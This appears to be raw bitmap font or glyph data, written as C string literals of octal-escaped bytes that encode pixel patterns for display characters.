"\0\0\0\0\0\0\0\200\300\340\360\371\373\177\77\77\177\377\377\377\367\347\203\1\0\0\0\0\0\0\0\0" "\200\200\0\0\340\374\376\377\377\77\7\3\0\0\0\0\0\0\1\7\17\37\77\377\376\370\360\340\300\340\360\374" "\377\177\77\16\17\77\177\377\377\374\360\340\300\200\200\200\200\200\200\300\300\340\340\360\371\377\177\77\77\177\377\377" "\361\340\300\200\0\0\0\1\1\3\3\7\7\7\7\17\17\7\7\7\7\3\3\1\1\0\0\0\0\0\1\7" "\7\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\360\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\37\37\37\37\37\37\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\360\360\370x`" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\370\374\376\177\77\17\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\376\377\377\177\37\3\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\374\377\377\377\377\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\77\377\377\377\377\370\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\7\77\377\377\377\376\360\300\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\37\77\377\377\374\370\360\300\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\17\37\77>~\374\70" "\10\0\0\0\0\0\0\0\360\370\370\360\340\340\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\1\3\7\7\17\37\177\377\376\374\370\340\300\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\37\377\377\377\376\360\300\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\377\377\377\377\374\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\374\377\377\377\77\17\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\370\374\376\377\77\37\17\3\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\10\374|~\77\37\37\17\7\3\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\340\340\340\340 \0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\360\340\340\300\300\200\200\0\0\0\0\17\377\377\377\177\0\0\0\0\200\200\300\300\340\340" "\340\200\0\0\0\1\3\3\3\7\7\7\7\17\17\216\376\374\377\177\377\374\376\316\17\17\17\7\7\7\3\3" "\3\1\0\0\0\0\0\0\200\300\360\370\374\376\177\37\17\3\0\0\0\3\7\37\77\376\374\370\360\300\200\0" "\0\0\0\0\0\0\0\0\0\1\3\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\360\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\36\36\36\36\36\36\36\36\36\36\36\36\377\377\377\377\377\36\36\36\36\36\36\36\36\36\36" "\36\36\36\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\340\340\340\300\300\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\2\17\17\37\377\377\377\377\177\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\360\370~\77\17\7\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0xxxxxxxxxxxxxxxxxxxxxxxxx" "x\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\370\370\370\370\370\360\340\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\7\3\3\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\370\360\360" " \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\177\17\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\377\377\177\37\7\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\376\377\377\77\17\3\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\177\17\3\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\340\370\377\377\177\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\10\36\37\77\77\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\360\370\374\376\177\37\17\17\7\7\7\7\7\7\17\37\77\376\374\370\360\300\0" "\0\0\0\0\0\200\374\377\377\377\77\7\0\0\0\0\0\0\0\0\0\200\300\360\370\374~\37\177\377\377\377" "\370\200\0\0\0\377\377\377\377\377\0\0\0\0\0\200\340\360\370\374\177\37\17\7\1\0\0\0\0\377\377\377" "\377\377\0\0\0\7\177\377\377\377\374\360\370\376\177\37\17\7\1\0\0\0\0\0\0\0\0\0\360\377\377\377" "\377\7\0\0\0\0\0\3\17\37\177\377\377\370\360\340\300\300\200\200\200\200\300\300\340\360\374\377\177\77\17\3" "\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\7\7\7\7\17\17\7\7\7\3\3\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\60x\70<<>\36\37\37\17\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\70|\376~\37\17\17\7\7\7\7\7\7\7\7\17\17\37\177\377\376\374\370\340" "\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\341\377\377\377\377" "\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\376\177\77\37\17\3\1" "\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\370\374\376\177\77\37\17\7\3\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\340\370\374\377\377\237\217\203\201\200\200\200\200\200\200\200\200\200\200\200\200\200\200\300" "\300\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\14\36\77\37\17\17\7\7\7\7\3\7\7\7\17\17\37\177\377\376\374\370\340\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\377\377\377\177\37\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0>>\36>>\77\77\77\177\377\377\373\363\341\300\200\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\37\377\377\377\377\370" "\0\0\0\0\0\0@\340\360\374\360\340\340\300\300\200\200\200\200\200\200\300\300\340\360\374\377\377\177\77\37\3" "\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\7\3\3\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\300\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\370\374\177\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\370\376\77\37\7\3\0\0\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\200\340\360\374\376\77\37\7\3\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0<\77\77\77\77=<<<<<<<<<<<<\377\377\377\377\377<<<<" "<<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\0\0\0\0\0\0\0\0\377\377\377\377\377\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3" "\3\0\0\0\0\0\0\0\200\377\377\377\377\377\300\300\300\340\340\340\340\340\340\340\300\300\300\200\200\0\0\0" "\0\0\0\0\0\0\0\0\37\37\37\77\37\17\7\3\3\3\3\1\3\3\3\3\7\17\37\77\377\377\376\374" "\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\377\377\377" "\377\377\0\0\0\0\0\60x\374\374\374\360\340\340\300\300\200\200\200\200\200\200\300\300\340\360\374\377\377\177\77" "\17\3\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\200\200\200\0\0\0" "\0\0\0\0\0\0\0\0\0\200\340\360\374\374\376\77\37\17\17\7\7\7\3\7\7\7\7\17\37\37\17\6" "\0\0\0\0\0\0\0\340\376\377\377\377\177\3\0\0\200\300\300\300\300\300\300\300\300\300\200\200\0\0\0\0" "\0\0\0\0\0\0\0\377\377\377\377\377\370>\37\17\17\7\3\3\3\3\3\7\7\17\37\177\377\376\374\370" "\340\0\0\0\0\0\0\77\377\377\377\377\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\203\377\377\377" "\377\377\0\0\0\0\0\0\3\17\77\177\377\376\370\360\340\300\300\200\200\200\200\200\300\340\360\374\377\377\177\77" "\17\1\0\0\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\7\17\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\303\373\377\377\377\177\17\3" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\377\377\377\77\17\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\377\377\377\77\7\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\377\377\377\177\17\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\300\360\376\377\377\377\37\3\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\4\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\360\374\376\377\177\37\17\7\7\7\7\7\7\7\17\17\37\377\377\376\374\370\300" "\0\0\0\0\0\0\0\0\17\77\377\377\377\374\340\300\200\0\0\0\0\0\0\0\300\340\374\377\377\177\77\17" "\0\0\0\0\0\0\0\0\0\200\300\301\343\363\367\177\77\37\37\36>>\177\177\377\367\363\341\300\200\0\0" "\0\0\0\0\0\0\360\374\376\377\377\37\3\1\0\0\0\0\0\0\0\0\0\0\0\1\3\17\377\377\377\376" "\370\0\0\0\0\0\7\37\177\377\377\377\370\360\340\300\300\200\200\200\200\200\200\300\300\340\360\374\377\377\177\77" "\17\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\3\3\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\360\374\376\377\177\37\17\7\7\7\3\7\7\7\17\37\77\177\376\374\370\340\200" "\0\0\0\0\0\0\0\377\377\377\377\377\203\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\377\377\377\377" "\374\0\0\0\0\0\0\1\17\37\177\377\377\374\370\360\340\300\300\300\300\300\340\340\360\360x>\377\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\3\3\3\3\3\3\3\1\0\0\340\377\377\377\377" "\37\0\0\0\0\0\0\0\200\300\340\360\340\300\300\200\200\200\200\200\200\300\300\340\360\370\376\177\77\37\7\1" "\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\7\17\17\7\7\7\7\3\3\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\360\360\360\360\340\300\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\17\17\17\17\7\3\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\360\360\360\360\360\340\300\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7\7\17\7\7\3\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\340\340\340\300\200\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\17\37\37\37\37\37\17\7\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\360\360\360\340\300\200\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\237\377\377\377\377\37\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0 p\370~\77\17\7\1\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\340\340\360\360\370" "\370||\0\0\0\0\0\0\200\300\300\340\340\360\360\370\370||>>\37\37\17\17\7\7\3\1\1\0" "\0\0\0\0<>~\377\377\377\367\347\343\303\201\201\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\1\1\3\7\7\17\17\37\77>||\370\370\360\360\340\300\300\200\200\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\7\7\17\37\37\77" ">|\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360" "\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0xxxxxxxxxxxxxxxxxxxxxxxxxxx" "xxx\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\370\360\360\340\340\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\1\1\3\3\7\7\17\17\37\37>>||\370\360\360\340\340\300\300\200\200\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\203\207\307\317\377\377\376\376" "\374|x\0\0\0\0\0\0\0\200\200\300\300\340\340\360\370\370||>>\37\17\17\7\7\3\1\1\0" "\0\0\0\0\370\374|~>\37\37\17\17\7\3\3\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\300\300\340\340\340\360\360\360\360\360\360\360\360\340\340\300\300\200\0\0\0" "\0\0\0\0\0\0\10\36\77\177\77\17\7\7\3\1\1\1\1\0\1\1\1\3\3\17\37\377\377\377\374\360" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\377\377\377\177\37" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\374\376\377\77\37\17\7\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\177\177\177\177\177\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\340\340\340\340\340\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\17\17\17\17\17\3\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0" "\0\0\0\0\0\0\0\300\340\370\374\376>\37\37\17\7\7\7\7\3\7\7\7\7\17\17\37\77\376\374\370" "\360\300\0\0\300\374\377\377\177\7\1\0\0\0\0\0\0\300\340\360\360\370x|<<<<<<\377\377" "\377\377\376\0\377\377\377\377\0\0\0\0\0\0\0\374\377\377\377\207\1\0\0\0\0\0\0\0\0\300\377\377" "\377\377\377\0\7\177\377\377\374\340\200\0\0\0\0\1\7\17\37\77>|||||<>\37\17\77\77" "\77\77\77\0\0\0\1\7\17\77\177\376\374\370\360\340\340\300\300\200\200\200\200\200\200\200\200\300\300\340\340\200" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\7\7\7\7\7\17\7\7\7\7\7\3\3\3\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\300\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\374\377\377\377\377\370\300\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\300\370\377\377\177\17\1\3\37\377\377\376\370\300\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\360\376\377\377\37\3\0\0\0\0\0\0\7\37\377\377\376\370\300\0\0\0" "\0\0\0\0\0\0\0\340\374\377\377\177\77<<<<<<<<<<<<\77\177\377\377\376\370\300" "\0\0\0\0\300\370\377\377\377\37\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17\177\377\377" "\376\370\300\0\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7" "\7\7\7\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\3\3\3\3\3\3\3\3\7\7\7\7\7\7\17\37\77\377\377\376\374\360" "\300\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\370\377\377\377\77" "\17\0\0\0\0\377\377\377\377\377\36\36\36\36\36\36\36\36\37\37\37\37\77\77\77\177\377\373\363\341\300\200" "\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\377\377\377" "\377\374\0\0\0\377\377\377\377\377\200\200\200\200\200\200\200\200\200\300\300\300\300\300\300\340\360\370\376\377\177\77" "\37\7\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\3\3\3\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 